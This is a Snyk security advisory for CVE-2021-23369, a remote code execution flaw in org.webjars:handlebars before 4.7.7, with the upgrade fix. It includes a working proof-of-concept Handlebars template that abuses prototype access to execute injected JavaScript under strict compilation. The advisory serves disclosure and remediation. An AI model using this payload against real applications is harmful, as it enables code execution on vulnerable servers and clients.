Remote Code Execution (RCE) Affecting org.webjars:handlebars package, versions [,4.7.7)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
13.2% (96th percentile)

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  • Snyk IDSNYK-JAVA-ORGWEBJARS-1074950
  • published15 Feb 2021
  • disclosed8 Jan 2021
  • creditFrancois Lajeunesse-Robert

Introduced: 8 Jan 2021

CVE-2021-23369  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade org.webjars:handlebars to version 4.7.7 or higher.

Overview

org.webjars:handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

POC

<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
<script> 
// compile the template 
var s = ` 
{{#with (__lookupGetter__ "__proto__")}} 
{{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} 
{{#with ../constructor.prototype}} 
{{../../constructor.defineProperty . "hasOwnProperty" ..}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{#with "constructor"}} 
{{#with split}} 
{{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} 
{{#with .}} 
{{#with (concat (lookup join (slice 0 1)))}} 
{{#each (slice 2 3)}} 
{{#with (apply 0 ../..)}} 
{{.}} 
{{/with}} 
{{/each}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{/with}} 
`;
var template = Handlebars.compile(s, { 
strict: true 
}); 
// execute the compiled template and print the output to the console console.log(template({})); 
</script>

References

CVSS Scores

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